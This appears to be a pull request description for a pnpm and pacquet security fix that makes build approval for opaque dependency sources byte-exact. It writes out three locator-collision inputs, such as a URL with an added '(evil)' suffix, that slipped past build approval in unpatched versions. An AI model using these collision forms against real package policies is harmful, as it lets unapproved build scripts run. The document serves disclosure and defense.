## Summary Keep build approval for opaque dependency sources byte-exact for GHSA-5wx6-mg75-v57r / CAND-PNPM-123. Merged upstream commit `bf1b731ee6` fixed the original name-only approval bypass by making build policy consume the resolved dependency identity. One collision remained: the generic peer-suffix normalizer also stripped parenthesized text from git, URL, tarball, file, and other opaque locators. Approval for one source string could therefore authorize a different attacker-controlled source whose locator normalized to the same value. ## Security boundary - Registry dependency identities still normalize legitimate peer suffixes and retain patch hashes. - Git, URL, tarball, file, directory, and otherwise opaque identities must match the complete resolved locator byte for byte. - Explicit denials use the same normalization as approvals. - Ignored-build output preserves the exact opaque identity, so the key pnpm asks a user to approve is the key policy later checks. - TypeScript pnpm and pacquet implement the same distinction between registry and opaque identities. ## Exploit replay - With `allowBuilds` approving `foo@https://host/pkg.tgz`, the upstream implementation also accepted `foo@https://host/pkg.tgz(evil)` because both passed through peer-suffix removal. - An independent review found a second Rust-only form: `foo@https://host/pkg@1.0.0(good)` and `foo@https://host/pkg@1.0.0(evil)` collided because the parser selected the final `@` and misclassified the opaque URL as a registry package. - A final review found the same parser hazard in source-only locators ending in a semver-looking tail: approval for `https://host/pkg@1.0.0` could collapse `https://host/pkg@1.0.0(evil)`. - The final patch rejects all three collision forms, applies the same exactness to deny rules, accepts exact opaque keys as positive controls, and continues to accept registry packages approved without their peer suffixes. ## Files changed - `building/policy/src/index.ts` and `building/policy/test/index.ts` normalize only parsed registry identities and retain exact opaque keys. - `pacquet/crates/package-manager/src/build_modules.rs` passes snapshot identities to policy, matches TypeScript package-separator parsing, and preserves opaque locators. - `pacquet/crates/package-manager/src/build_modules/tests.rs` covers exact approval and denial, all three collision forms, ignored-build output, and registry peer compatibility. - `.changeset/quiet-opaque-build-identities.md` records patch releases for `@pnpm/building.policy` and `pnpm`. ## Commands run ```text $ jest building/policy/test/index.ts --runInBand 16 passed $ cargo test -p pacquet-package-manager build_modules::tests -- --nocapture 49 passed $ cargo fmt --all -- --check PASS $ git diff --check 84bb4b1a046f3a659de1c9aab1d45dcf814124ce...HEAD PASS ``` ## Validation - The TypeScript policy suite passed all 16 tests. - The final pacquet build-policy suite passed all 49 tests. - The new Rust regression reproduced the extra-`@` collision before the additive fix and passed afterward. - Exact opaque approval and denial, source-only semver-tail collision rejection, registry peer normalization, and ignored-build reporting all have paired tests. - ESLint passed on the changed TypeScript source and test files. - Rust formatting and diff checks passed; the branch is clean and consists of three focused security commits plus additive merges of upstream through `84bb4b1a046f3a659de1c9aab1d45dcf814124ce`. - The focused TypeScript suite and ESLint ran directly through the installed harness. The isolated project build cannot resolve workspace packages without a local install, and the configured registry gateway returns HTTP 403 while fetching `@pnpm/pacquet@0.11.2`; no candidate-focused test failed. ## Patches `10.34.2`: https://github.com/pnpm/pnpm/commit/14bceb1e0b2a71f4f670774db261feb03f38ec23 `11.5.3`: https://github.com/pnpm/pnpm/commit/bf1b731ee6c0ea98709e671ff0f46bf654480ab8 ## Compatibility Registry package approvals keep their existing form. Opaque dependencies that were approved through a normalized parenthesized variant must now use the exact key shown in pnpm's ignored-build output. This is the intended trust-boundary change; no package-resolution or artifact format changes. ## CI note GitHub intentionally does not run status checks on temporary private-fork pull requests.
